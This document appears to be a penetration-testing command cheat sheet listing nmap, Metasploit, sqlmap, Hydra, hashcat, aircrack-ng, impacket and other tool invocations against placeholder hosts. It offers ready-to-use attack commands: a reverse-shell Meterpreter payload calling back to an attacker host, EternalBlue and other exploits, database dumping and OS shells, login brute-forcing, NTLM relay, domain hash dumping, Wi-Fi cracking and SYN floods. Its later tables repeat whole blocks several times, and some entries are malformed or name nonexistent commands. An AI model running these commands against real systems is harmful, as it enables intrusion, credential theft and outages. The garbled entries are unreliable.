Guide of Penetration Testing Commands

Prepared by Zebbern

Approved
By github.com/zebbern at 12:02 PM, Feb 27, 2025

Guide of Penetration Testing Commands

Table of Contents

Nmap Commands

No.	Command	Explanation
1	nmap -sP 192.168.1.0/24	Scan the network to discover active devices.
2	nmap -sS 192.168.1.1	Perform a TCP SYN scan to detect open ports on the device.
3	nmap -sV 192.168.1.1	Detect the versions of services running on open ports.
4	nmap -O 192.168.1.1	Determine the operating system used on the device.
5	nmap -A 192.168.1.1	Comprehensive scan including open ports, service versions, and OS detection.
6	nmap -Pn 192.168.1.1	Scan devices even if they do not respond to Ping requests.
7	nmap -sU 192.168.1.1	Scan for open UDP ports.
8	nmap -p- 192.168.1.1	Scan all ports (1-65535) instead of just default ports.
9	nmap --script vuln 192.168.1.1	Use scripts to check for vulnerabilities.
10	nmap --script smb-enum-shares -p 445 192.168.1.1	Enumerate SMB shares using Nmap script.
11	nmap --script http-enum -p 80 192.168.1.1	Enumerate web server directories using Nmap script.
12	nmap --script smb-vuln-ms17-010 192.168.1.1	Check for MS17-010 (EternalBlue) vulnerability.
13	nmap --script smb-vuln-cve-2017-7494 192.168.1.1	Check for CVE-2017-7494 (SambaCry) vulnerability.
14	nmap --script smb-vuln-ms08-067 192.168.1.1	Check for MS08-067 vulnerability.
15	nmap --script smb-vuln-ms10-061 192.168.1.1	Check for MS10-061 (Print Spooler) vulnerability.
16	nmap --script smb-vuln-regsvc-dos 192.168.1.1	Check for registry service DoS vulnerability.
17	nmap --script http-sql-injection --script-args='http-sql-injection.args' -p 80 192.168.1.1	Check for SQL injection vulnerabilities using Nmap script.
18	nmap -sL 192.168.1.0/24	List all IPs in the subnet without scanning them.
19	nmap -p80 --script http-methods 192.168.1.1	Discover allowed HTTP methods on a web server.
20	nmap -p80 --script http-title 192.168.1.1	Retrieve the title of the webpage.
21	nmap -p80 --script http-headers 192.168.1.1	Retrieve HTTP headers from the server.
22	nmap -p80 --script http-enum 192.168.1.1	Enumerate common web applications on the server.
23	nmap -p80 --script http-auth 192.168.1.1	Test for HTTP authentication methods.
24	nmap -sX 192.168.1.1	Xmas scan to detect open ports.
25	nmap -sA 192.168.1.1	ACK scan to map firewall rulesets.

26	nmap -sW 192.168.1.1	Window scan to detect open ports based on TCP window size.
27	nmap -sM 192.168.1.1	Maimon scan to detect open ports using FIN/ACK flag combination.
28	nmap -p80 --script http-userdir-enum 192.168.1.1	Enumerate user directories on a web server.
29	nmap -p80 --script http-passwd 192.168.1.1	Check for /etc/passwd file on web server.
30	nmap -p80 --script http-robots.txt 192.168.1.1	Retrieve and analyze the robots.txt file.
31	nmap --script ssh-brute -p 22 192.168.1.1	Brute-force SSH login using Nmap script.
32	nmap --script ftp-anon 192.168.1.1	Check for anonymous FTP login.
33	nmap --script ftp-vsftpd-backdoor 192.168.1.1	Check for vsftpd backdoor vulnerability.
34	nmap --script http-sql-injection --script-args='http-sql-injection.args' -p 80 192.168.1.1	Check for SQL injection vulnerabilities using Nmap script.
35	nmap --script http-phpself-xss 192.168.1.1	Check for PHP_SELF XSS vulnerabilities.
36	nmap --script dns-brute 192.168.1.1	Perform DNS brute-force enumeration.
37	nmap -p 22 --script ssh-hostkey 192.168.1.1	Retrieve SSH host keys.
38	nmap -p 53 --script dns-recursion 192.168.1.1	Check for DNS recursion.
39	nmap --traceroute 192.168.1.1	Perform a traceroute along with the scan.
40	nmap -sn 192.168.1.0/24	Ping scan to discover live hosts without port scanning.

Metasploit Commands

No.	Command	Explanation
1	metasploit	Launch the Metasploit framework for exploit development and execution.
2	msfconsole	Open the Metasploit console interface.
3	msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe	Generate a Metasploit payload.
4	msfconsole -r script.rc	Run Metasploit commands from a script file.
5	msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"	Exploit EternalBlue vulnerability.
6	msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"	Setup and run a multi-handler for reverse TCP payloads.
7	msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"	Exploit SMB with psexec.
8	msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; set THREADS 10; run"	TCP port scan using Metasploit.
9	msfconsole -x "use auxiliary/scanner/http/http_version; set RHOSTS 192.168.1.0/24; run"	Scan HTTP versions on a network.
10	msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE /path/to/users.txt; set PASS_FILE /path/to/passwords.txt; run"	Brute-force FTP login.
11	msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE /path/to/users.txt; set PASS_FILE /path/to/passwords.txt; run"	Brute-force SSH login.
12	msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"	Scan SMB versions on a network.
13	msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"	Enumerate SMB shares on a network.
14	msfconsole -x "use auxiliary/scanner/smb/smb_enumusers; set RHOSTS 192.168.1.0/24; run"	Enumerate SMB users on a network.
15	msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"	Scan for RDP services on a network.
16	msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"	Exploit MS08-067 vulnerability.
17	msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"	Exploit vsftpd 2.3.4 backdoor.
18	msfconsole -x "use exploit/windows/dcerpc/ms03_026_dcom; set RHOST 192.168.1.1; exploit"	Exploit MS03-026 vulnerability.
19	msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"	Execute commands on Windows via SMB and psexec.

20	msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"	Exploit Shellshock vulnerability.
21	msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"	Exploit EternalBlue vulnerability.
22	msfconsole -x "use exploit/multi/http/struts2_content_type_ognl; set RHOST 192.168.1.1; exploit"	Exploit Struts2 Content-Type OGNL injection.
23	msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"	Exploit Drupalgeddon2 vulnerability.
24	msfconsole -x "use exploit/multi/php/php_cgi_arg_injection; set RHOST 192.168.1.1; exploit"	Exploit PHP CGI Argument Injection.
25	msfconsole -x "use exploit/windows/browser/ms14_064_ole_code_execution; set RHOST 192.168.1.1; exploit"	Exploit MS14-064 OLE Code Execution.

Nikto Commands

No.	Command	Explanation
1	nikto -h http://192.168.1.1	Scan web servers to detect vulnerabilities.
2	nikto -h http://192.168.1.1 -Plugins	Run specific plugins for detailed scanning.
3	nikto -h http://192.168.1.1 -C all	Comprehensive web server scan with all tests.
4	nikto -h http://192.168.1.1 -Tuning 1	Tune the scan to only check for interesting files.
5	nikto -h http://192.168.1.1 -Format msf+	Export vulnerabilities to Metasploit.
6	nikto -h http://192.168.1.1 -Plugins robots	Check for robots.txt vulnerabilities.
7	nikto -h http://192.168.1.1 -Plugins fileupload	Check for file upload vulnerabilities.
8	nikto -h http://192.168.1.1 -Plugins shellshock	Check for Shellshock vulnerability.
9	nikto -h http://192.168.1.1 -Plugins heartbleed	Check for Heartbleed vulnerability.
10	nikto -h http://192.168.1.1 -Plugins poodle	Check for POODLE vulnerability.
11	nikto -h http://192.168.1.1 -output report.html	Generate a vulnerability report for a web server.
12	nikto -h http://192.168.1.1 -Plugins cgi	Check for CGI vulnerabilities.
13	nikto -h http://192.168.1.1 -Plugins apache	Check for Apache-specific vulnerabilities.
14	nikto -h http://192.168.1.1 -Plugins iis	Check for IIS-specific vulnerabilities.
15	nikto -h http://192.168.1.1 -Plugins horde	Check for Horde-specific vulnerabilities.
16	nikto -h http://192.168.1.1 -Plugins nessus	Check for Nessus compatibility.
17	nikto -h http://192.168.1.1 -Plugins php	Check for PHP-specific vulnerabilities.
18	nikto -h http://192.168.1.1 -Plugins ssl	Check for SSL/TLS-specific vulnerabilities.
19	nikto -h http://192.168.1.1 -Plugins generic	Run generic tests for common vulnerabilities.
20	nikto -h http://192.168.1.1 -Plugins msf	Check for Metasploit integration.
21	nikto -h http://192.168.1.1 -Plugins tomcat	Check for Tomcat-specific vulnerabilities.

Sqlmap Commands

No.	Command	Explanation
1	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --dbs	Detect and exploit SQL injection vulnerabilities.
2	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --dump	Dump the database content after finding SQL injection.
3	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --os-shell	Obtain an OS shell through SQL injection.
4	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --tamper=space2comment	Bypass WAF by using tamper scripts.
5	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --hex	Use hexadecimal encoding for payloads.
6	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --dbms=mysql	Specify the DBMS to use specific payloads.
7	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --privileges	Retrieve the DBMS user privileges.
8	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --level=5 --risk=3	Advanced SQL injection testing with high risk and level.
9	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --passwords	Retrieve DBMS password hashes.
10	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --roles	Retrieve DBMS roles.
11	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --schema	Retrieve the DBMS schema.
12	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --count	Count the number of entries in tables.
13	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --search -T users --string="admin"	Search for specific strings in the database.
14	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --batch	Run SQLmap in non-interactive mode.
15	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --delay=5	Add a delay between each request.
16	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --timeout=10	Set a timeout for each request.
17	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --retries=3	Set the number of retries for each request.
18	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --tor	Use Tor network for anonymity.
19	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --check-tor	Check if the Tor network is used correctly.
20	sqlmap -u "http://192.168.1.1/vuln.php?id=1" --proxy=http://127.0.0.1:8080	Use a proxy for requests.

Hydra Commands

No.	Command	Explanation
1	hydra -l admin -P /path/to/passwords.txt 192.168.1.1 ssh	Brute-force SSH login using a password list.
2	hydra -l admin -P /path/to/passwords.txt -s 2222 ssh://192.168.1.1	Brute-force SSH on a non-standard port.
3	hydra -l admin -P /path/to/passwords.txt http-get://192.168.1.1	Brute-force HTTP GET authentication.
4	hydra -l admin -P /path/to/passwords.txt http-post-form://192.168.1.1/login.php	Brute-force HTTP POST login form.
5	hydra -L users.txt -P passwords.txt 192.168.1.1 ssh	Brute-force SSH with multiple usernames.
6	hydra -L users.txt -P passwords.txt smb://192.168.1.1	Brute-force SMB authentication.
7	hydra -l admin -P /path/to/passwords.txt ftp://192.168.1.1	Brute-force FTP login.
8	hydra -l admin -P /path/to/passwords.txt 192.168.1.1 ssh	Brute-force SSH login using Hydra.
9	hydra -l admin -P /path/to/passwords.txt http-get://192.168.1.1/login.php	Brute-force HTTP GET login form.
10	hydra -l admin -P /path/to/passwords.txt http-post-form://192.168.1.1/login.php	Brute-force HTTP POST login form.
11	hydra -l admin -P /path/to/passwords.txt -e nsr 192.168.1.1 ssh	Brute-force SSH with null/single/reverse password guesses.
12	hydra -l admin -P /path/to/passwords.txt -t 4 192.168.1.1 ssh	Set the number of parallel connections to 4 for SSH brute-forcing.
13	hydra -L users.txt -P passwords.txt http-get://192.168.1.1	Brute-force HTTP GET login with multiple usernames.
14	hydra -L users.txt -P passwords.txt http-post-form://192.168.1.1/login.php	Brute-force HTTP POST login with multiple usernames.
15	hydra -l admin -P /path/to/passwords.txt -f 192.168.1.1 ssh	Stop after the first found password for SSH.
16	hydra -l admin -P /path/to/passwords.txt -s 21 192.168.1.1 ftp	Brute-force FTP login on port 21.
17	hydra -L users.txt -P passwords.txt -o results.txt 192.168.1.1 ssh	Save results to a file.
18	hydra -l admin -P /path/to/passwords.txt -V 192.168.1.1 ssh	Verbose mode to show each attempt.
19	hydra -l admin -P /path/to/passwords.txt -M targets.txt ssh	Brute-force SSH on multiple targets listed in a file.
20	hydra -l admin -P /path/to/passwords.txt -R	Restore a previous session.

21	hydra -l admin -P /path/to/passwords.txt -e nsr 192.168.1.1 ssh	Brute-force SSH with null/single/reverse password guesses.
22	hydra -l admin -P /path/to/passwords.txt -t 4 192.168.1.1 ssh	Set the number of parallel connections to 4 for SSH brute-forcing.
23	hydra -L users.txt -P passwords.txt http-get://192.168.1.1	Brute-force HTTP GET login with multiple usernames.
24	hydra -L users.txt -P passwords.txt http-post-form://192.168.1.1/login.php	Brute-force HTTP POST login with multiple usernames.
25	hydra -l admin -P /path/to/passwords.txt -f 192.168.1.1 ssh	Stop after the first found password for SSH.
26	hydra -l admin -P /path/to/passwords.txt -s 21 192.168.1.1 ftp	Brute-force FTP login on port 21.
27	hydra -L users.txt -P passwords.txt -o results.txt 192.168.1.1 ssh	Save results to a file.
28	hydra -l admin -P /path/to/passwords.txt -V 192.168.1.1 ssh	Verbose mode to show each attempt.
29	hydra -l admin -P /path/to/passwords.txt -M targets.txt ssh	Brute-force SSH on multiple targets listed in a file.
30	hydra -l admin -P /path/to/passwords.txt -R	Restore a previous session.

John the Ripper Commands

No.	Command	Explanation
1	john /path/to/hashfile	Crack password hashes using John the Ripper.
2	john --wordlist=/path/to/wordlist /path/to/hashfile	Password cracking using a wordlist.
3	john --format=NT /path/to/hashfile	Crack NTLM password hashes.
4	john --rules --wordlist=/path/to/wordlist /path/to/hashfile	Use wordlist and apply rules for password cracking.
5	john --show /path/to/hashfile	Show cracked passwords from the hash file.
6	john --format=raw-md5 /path/to/hashfile	Crack raw MD5 password hashes.
7	john --incremental /path/to/hashfile	Use incremental mode for password cracking.
8	john --single /path/to/hashfile	Use single crack mode for password cracking.
9	john --wordlist=/path/to/wordlist --rules /path/to/hashfile	Use wordlist with rules for password cracking.
10	john --session=custom_session /path/to/hashfile	Save the cracking session with a custom name.
11	john --restore=custom_session	Restore a saved cracking session.
12	john --status=custom_session	Show the status of a cracking session.
13	john --pot=/path/to/potfile /path/to/hashfile	Specify a custom pot file for cracked passwords.
14	john --nolog /path/to/hashfile	Disable logging.

Aircrack-ng Commands

No.	Command	Explanation
1	aircrack-ng -a2 -b [BSSID] -w /path/to/wordlist.cap	Crack WPA/WPA2-PSK passwords.
2	aircrack-ng -e SSID -w /path/to/wordlist /path/to/capture.cap	Crack WPA handshake with specific SSID.
3	airodump-ng wlan0	Capture packets and display wireless networks.
4	aireplay-ng -0 10 -a [BSSID] wlan0	Deauthenticate clients to capture handshakes.
5	airodump-ng -c 6 --bssid [BSSID] -w capture wlan0	Capture packets on a specific channel and BSSID.
6	aircrack-ng -z /path/to/capture.cap	Use PTW attack against WEP.
7	aircrack-ng -k 1 /path/to/capture.cap	Use KoreK attack against WEP.
8	airodump-ng --band abg wlan0	Capture packets on all wireless bands (a, b, g).
9	aireplay-ng -3 -b [BSSID] wlan0	Perform ARP replay attack to generate traffic.
10	aireplay-ng -9 wlan0	Perform injection test to check if card supports injection.
11	aireplay-ng -1 0 -e [SSID] -a [BSSID] -h [MAC] wlan0	Fake authentication attack to associate with the AP.
12	aireplay-ng -2 -r /path/to/arp-request wlan0	Interactive packet replay attack.
13	airodump-ng --write /path/to/output wlan0	Write captured packets to a file.
14	airbase-ng -e "Free WiFi" -c 6 wlan0	Create a fake access point.
15	airdecap-ng -e [SSID] /path/to/capture.cap	Decrypt WEP/WPA packets with known key.

Wireshark and Tshark Commands

No.	Command	Explanation
1	wireshark	Network protocol analyzer for graphical packet capture and analysis.
2	tshark -i eth0	Command-line version of Wireshark.
3	tcpdump -i eth0	Capture network traffic on interface eth0.
4	tcpdump -i eth0 port 80	Capture network traffic on port 80.
5	tcpdump -i eth0 -w capture.pcap	Capture network traffic and save to file.
6	tshark -r capture.pcap	Read and analyze a pcap file.

Other Commands

No.	Command	Explanation
1	burpsuite	Launch Burp Suite for web application security testing.
2	zaproxy	Launch OWASP ZAP for web application security testing.
3	dirb http://192.168.1.1 /path/to/wordlist	Directory brute-forcing to discover hidden files and directories.
4	gobuster dir -u http://192.168.1.1 -w /path/to/wordlist	Directory brute-forcing using Gobuster.
5	wfuzz -c -z file,/path/to/wordlist -u http://192.168.1.1/FUZZ	Fuzzing tool for web application testing.
6	ffuf -w /path/to/wordlist -u http://192.168.1.1/FUZZ	Fast web fuzzer for discovering hidden files and directories.
7	hping3 -S -p 80 -c 1 192.168.1.1	Send a single SYN packet to test if port 80 is open.
8	dnsenum example.com	DNS enumeration to gather information about a domain.
9	theHarvester -d example.com -l 500 -b google	Gather emails, subdomains, and other information from search engines.
10	maltego	Open-source intelligence (OSINT) and forensics application.
11	recon-ng	Web reconnaissance framework for OSINT gathering.
12	crackmapexec smb 192.168.1.1 -u user -p password --shares	Enumerate SMB shares with credentials.
13	crackmapexec smb 192.168.1.1 -u user -p password --exec 'cmd.exe /c whoami'	Execute commands on the target via SMB.
14	responder -I eth0	Network poisoning tool to capture SMB/NTLM hashes.
15	ntlmrelayx.py -smb2support -i	Relay captured NTLM hashes to SMB service.
16	smbrelayx.py -h 192.168.1.1 -c "whoami"	Relay NTLM hashes to execute commands on the target.
17	responder -I eth0 -w	Run Responder in full analysis mode.
18	hashcat -a 0 -m 0 /path/to/hashfile /path/to/wordlist	High-performance password cracking.
19	hashcat -a 3 -m 0 /path/to/hashfile ?a?a?a?a?a?a	Mask attack with brute-force for passwords of length 6.
20	hashcat -a 3 -m 1000 /path/to/hashfile ?l?l?l?l	Mask attack with lowercase letters for NTLM hashes.
21	hashcat -a 0 -m 1800 /path/to/hashfile /path/to/wordlist	Dictionary attack on SHA-512 hashes.

22	hashcat -a 1 -m 0 /path/to/hashfile /path/to/wordlist /path/to/rules	Combinator attack using two wordlists.
23	hashcat -a 6 -m 0 /path/to/hashfile /path/to/wordlist ?d?d	Hybrid attack with dictionary and 2-digit suffix.
24	hcxdumptool -i wlan0 -o capture.pcapng --enable_status=1	Capture handshakes and PMKID for WPA cracking.
25	hcxtools -m /path/to/pmkid /path/to/capture.pcapng	Extract PMKID from the capture file.
26	reaver -i wlan0 -b [BSSID] -vv	Perform a brute-force attack on WPS PIN.
27	wifite	Automated wireless attack tool to crack WEP/WPA/WPA2.
28	legion	Automated network penetration testing framework.
29	patator	Multi-purpose brute-forcer and enumerator.
30	medusa -h 192.168.1.1 -u admin -P /path/to/passwords.txt -M ssh	Brute-force SSH login using Medusa.
31	bloodhound-python -d example.com -u user -p password -c all	Active Directory enumeration tool.
32	impacket-getTGT user -dc-ip 192.168.1.1	Get a Kerberos TGT using Impacket.
33	impacket-secretsdump -just-dc-ntlm 192.168.1.1	Dump NTLM hashes from a domain controller.
34	impacket-psexec -target 192.168.1.1 -u user -p password	Remote command execution via SMB.
35	impacket-wmiexec -target 192.168.1.1 -u user -p password	Remote command execution via WMI.
36	impacket-smbexec -target 192.168.1.1 -u user -p password	Remote command execution via SMB.
37	sslscan 192.168.1.1	SSL/TLS scanner to detect supported protocols and ciphers.
38	sslyze --regular 192.168.1.1	SSL/TLS configuration scanner.
39	openssl s_client -connect 192.168.1.1:443	Test SSL/TLS connection to a server.
40	testssl.sh 192.168.1.1	Test SSL/TLS security on a server.
41	curl -I http://192.168.1.1	Fetch HTTP headers to gather information about the server.
42	curl -X POST -d "username=admin&password=1234" http://192.168.1.1/login.php	Send HTTP POST request to login form.
43	curl -O http://192.168.1.1/file.txt	Download a file from a web server.
44	curl -H "User-Agent: Mozilla/5.0" http://192.168.1.1	Send a request with a custom User-Agent header.
45	curl -k https://192.168.1.1	Ignore SSL certificate errors.
46	dirb http://192.168.1.1 /path/to/wordlist	Directory brute-forcing to discover hidden files and directories.

47	gobuster dir -u http://192.168.1.1 -w /path/to/wordlist	Directory brute-forcing using Gobuster.
48	wfuzz -c -z file,/path/to/wordlist -u http://192.168.1.1/FUZZ	Fuzzing tool to discover hidden files or directories.
49	ffuf -w /path/to/wordlist -u http://192.168.1.1/FUZZ	Fast web fuzzer for discovering hidden files and directories.
50	wfuzz -c -z file,/path/to/wordlist -b "cookie=SESSIONID" -u http://192.168.1.1/FUZZ	Fuzz URLs with session cookies.
51	zap-baseline.py -t http://192.168.1.1	Automated scan using OWASP ZAP baseline scan.
52	droopescan scan drupal -u http://192.168.1.1	Scan Drupal CMS for vulnerabilities.
53	joomscan --url http://192.168.1.1	Scan Joomla CMS for vulnerabilities.
54	wpscan --url http://192.168.1.1 --enumerate u	Enumerate WordPress users.
55	wpscan --url http://192.168.1.1 --plugins-detection mixed	Detect WordPress plugins.
56	searchsploit	Search for exploit code using Exploit-DB.
57	searchsploit -m 12345	Mirror an exploit to the current directory.
58	ike-scan 192.168.1.1	Scan and identify IKE VPN servers.
59	yersinia	Network attack tool for Layer 2 protocols.
60	mitmf	Man-in-the-middle framework for network attacks.
61	setoolkit	Social engineering toolkit for phishing and other attacks.
62	beef	Browser Exploitation Framework for client-side attacks.
63	netcat -nv 192.168.1.1 80	Simple TCP connection to test a specific port.
64	netcat -lvp 4444	Listen for incoming connections on port 4444.
65	netcat -zv 192.168.1.1 1-65535	Scan all ports using Netcat.
66	smbclient -L //192.168.1.1 -U username	List SMB shares on a remote server.
67	smbmap -H 192.168.1.1 -u username -p password	Enumerate SMB shares and permissions.
68	impacket-smbclient //192.168.1.1/share -user username	SMB client from Impacket toolkit.
69	ldapsearch -h 192.168.1.1 -x -b "dc=example,dc=com"	LDAP enumeration.
70	cewl http://192.168.1.1 -w wordlist.txt	Generate a custom wordlist from a website.
71	wfuzz -c -z file,/path/to/wordlist -u http://192.168.1.1/FUZZ	Fuzz URLs for hidden files and directories.
72	dnsenum example.com	DNS enumeration tool for finding subdomains.

73	dnsrecon -d example.com -t brt -D /path/to/wordlist.txt	Brute-force DNS subdomains.
74	dnsenum --enum example.com	Comprehensive DNS enumeration.
75	dnsmap example.com	DNS mapping and subdomain discovery tool.
76	masscan -p1-65535 192.168.1.1	Fast port scanner for large networks.
77	zmap -p 80 192.168.1.0/24	Fast network scanner focused on speed.
78	recon-ng	Web reconnaissance framework for information gathering.
79	fping -a -g 192.168.1.0/24	Ping sweep to discover live hosts.
80	hping3 -1 192.168.1.1	Send ICMP echo request to test connectivity.
81	hping3 -S 192.168.1.1 -p 80	Send TCP SYN packet to test if port 80 is open.
82	hping3 -A 192.168.1.1 -p 80	Send TCP ACK packet to test if port 80 is open.
83	hping3 -2 192.168.1.1 -p 53	Send UDP packet to test if port 53 is open.
84	hping3 -8 80 -c 1000 -S 192.168.1.1	Send 1000 SYN packets to port 80 to test for SYN flood.
85	hping3 -Q -p 80 -s 192.168.1.1	Sequence number analysis for TCP ports.
86	fping -a -g 192.168.1.0/24	Ping sweep to discover live hosts.
87	hping3 --flood -V -p 80 192.168.1.1	Send continuous SYN packets to flood a specific port.
88	masscan -p80,443 192.168.1.0/24	Fast port scanner for large networks.
89	zmap -p 80 192.168.1.0/24	Fast network scanner focused on speed.
90	whois example.com	Retrieve domain registration information.
91	dig example.com any	Retrieve DNS records for a domain.
92	nslookup example.com	Retrieve DNS records using nslookup.
93	fierce -dns example.com	DNS reconnaissance and enumeration tool.
94	dmitry -winsepfb http://192.168.1.1	Deepmagic Information Gathering Tool.
95	theHarvester -d example.com -l 500 -b google	Gather emails, subdomains, and other information from search engines.
96	maltego	Open-source intelligence and forensics application.
97	spiderfoot	Automate OSINT gathering and analysis.

98	ike-scan 192.168.1.1	Scan and identify IKE VPN servers.
99	searchsploit	Search for exploit code using Exploit-DB.
100	searchsploit -m 12345	Mirror an exploit to the current directory.
101	setoolkit	Social engineering toolkit for phishing and other attacks.
102	beef	Browser Exploitation Framework for client-side attacks.
103	netcat -nv 192.168.1.1 80	Simple TCP connection to test a specific port.
104	netcat -lvp 4444	Listen for incoming connections on port 4444.
105	netcat -zv 192.168.1.1 1-65535	Scan all ports using Netcat.
106	smbclient -L //192.168.1.1 -U username	List SMB shares on a remote server.
107	smbmap -H 192.168.1.1 -u username -p password	Enumerate SMB shares and permissions.
108	impacket-smbclient //192.168.1.1/share -user username	SMB client from Impacket toolkit.
109	ldapsearch -h 192.168.1.1 -x -b "dc=example,dc=com"	LDAP enumeration.
110	cewl http://192.168.1.1 -w wordlist.txt	Generate a custom wordlist from a website.
111	wfuzz -c -z file,/path/to/wordlist -u http://192.168.1.1/FUZZ	Fuzz URLs for hidden files and directories.
112	dnsenum example.com	DNS enumeration tool for finding subdomains.
113	dnsrecon -d example.com -t brt -D /path/to/wordlist.txt	Brute-force DNS subdomains.
114	dnsenum --enum example.com	Comprehensive DNS enumeration.
115	dnsmap example.com	DNS mapping and subdomain discovery tool.
116	masscan -p1-65535 192.168.1.1	Fast port scanner for large networks.
117	zmap -p 80 192.168.1.0/24	Fast network scanner focused on speed.
118	recon-ng	Web reconnaissance framework for information gathering.
119	fping -a -g 192.168.1.0/24	Ping sweep to discover live hosts.
120	hping3 -1 192.168.1.1	Send ICMP echo request to test connectivity.
121	hping3 -S 192.168.1.1 -p 80	Send TCP SYN packet to test if port 80 is open.
122	hping3 -A 192.168.1.1 -p 80	Send TCP ACK packet to test if port 80 is open.
123	hping3 -2 192.168.1.1 -p 53	Send UDP packet to test if port 53 is open.

124	hping3 -8 80 -c 1000 -S 192.168.1.1	Send 1000 SYN packets to port 80 to test for SYN flood.
125	hping3 -Q -p 80 -s 192.168.1.1	Sequence number analysis for TCP ports.
126	fping -a -g 192.168.1.0/24	Ping sweep to discover live hosts.
127	hping3 --flood -V -p 80 192.168.1.1	Send continuous SYN packets to flood a specific port.
128	masscan -p80,443 192.168.1.0/24	Fast port scanner for large networks.
129	zmap -p 80 192.168.1.0/24	Fast network scanner focused on speed.
130	whois example.com	Retrieve domain registration information.
131	dig example.com any	Retrieve DNS records for a domain.
132	nslookup example.com	Retrieve DNS records using nslookup.
133	fierce -dns example.com	DNS reconnaissance and enumeration tool.
134	dmitry -winsepfb http://192.168.1.1	Deepmagic Information Gathering Tool.
135	theHarvester -d example.com -l 500 -b google	Gather emails, subdomains, and other information from search engines.
136	maltego	Open-source intelligence and forensics application.
137	spiderfoot	Automate OSINT gathering and analysis.
138	ike-scan 192.168.1.1	Scan and identify IKE VPN servers.
139	searchsploit	Search for exploit code using Exploit-DB.
140	searchsploit -m 12345	Mirror an exploit to the current directory.
141	responder -I eth0	Network poisoning tool to capture SMB/NTLM hashes.
142	ntlmrelayx.py -smb2support -i	Relay captured NTLM hashes to SMB service.
143	smbrelayx.py -h 192.168.1.1 -c "whoami"	Relay NTLM hashes to execute commands on the target.
144	responder -I eth0 -w	Run Responder in full analysis mode.
145	hashcat -a 0 -m 0 /path/to/hashfile /path/to/wordlist	High-performance password cracking.
146	hashcat -a 3 -m 0 /path/to/hashfile ?a?a?a?a?a?a	Mask attack with brute-force for passwords of length 6.
147	hashcat -a 3 -m 1000 /path/to/hashfile ?l?l?l?l	Mask attack with lowercase letters for NTLM hashes.

148	hashcat -a 0 -m 1800 /path/to/hashfile /path/to/wordlist	Dictionary attack on SHA-512 hashes.
149	hashcat -a 1 -m 0 /path/to/hashfile /path/to/wordlist /path/to/rules	Combinator attack using two wordlists.
150	hashcat -a 6 -m 0 /path/to/hashfile /path/to/wordlist ?d?d	Hybrid attack with dictionary and 2-digit suffix.
151	setoolkit	Social engineering toolkit for phishing and other attacks.
152	beef	Browser Exploitation Framework for client-side attacks.
153	netcat -nv 192.168.1.1 80	Simple TCP connection to test a specific port.
154	netcat -lvp 4444	Listen for incoming connections on port 4444.
155	netcat -zv 192.168.1.1 1-65535	Scan all ports using Netcat.
156	smbclient -L //192.168.1.1 -U username	List SMB shares on a remote server.
157	smbmap -H 192.168.1.1 -u username -p password	Enumerate SMB shares and permissions.
158	impacket-smbclient //192.168.1.1/share -user username	SMB client from Impacket toolkit.
159	ldapsearch -h 192.168.1.1 -x -b "dc=example,dc=com"	LDAP enumeration.
160	cewl http://192.168.1.1 -w wordlist.txt	Generate a custom wordlist from a website.
161	wfuzz -c -z file,/path/to/wordlist -u http://192.168.1.1/FUZZ	Fuzz URLs for hidden files and directories.
162	dnsenum example.com	DNS enumeration tool for finding subdomains.
163	dnsrecon -d example.com -t brt -D /path/to/wordlist.txt	Brute-force DNS subdomains.
164	dnsenum --enum example.com	Comprehensive DNS enumeration.
165	dnsmap example.com	DNS mapping and subdomain discovery tool.
166	masscan -p1-65535 192.168.1.1	Fast port scanner for large networks.
167	zmap -p 80 192.168.1.0/24	Fast network scanner focused on speed.
168	recon-ng	Web reconnaissance framework for information gathering.
169	fping -a -g 192.168.1.0/24	Ping sweep to discover live hosts.
170	hping3 -1 192.168.1.1	Send ICMP echo request to test connectivity.
171	hping3 -S 192.168.1.1 -p 80	Send TCP SYN packet to test if port 80 is open.
172	hping3 -A 192.168.1.1 -p 80	Send TCP ACK packet to test if port 80 is open.

173	hping3 -2 192.168.1.1 -p 53	Send UDP packet to test if port 53 is open.
174	hping3 -8 80 -c 1000 -S 192.168.1.1	Send 1000 SYN packets to port 80 to test for SYN flood.
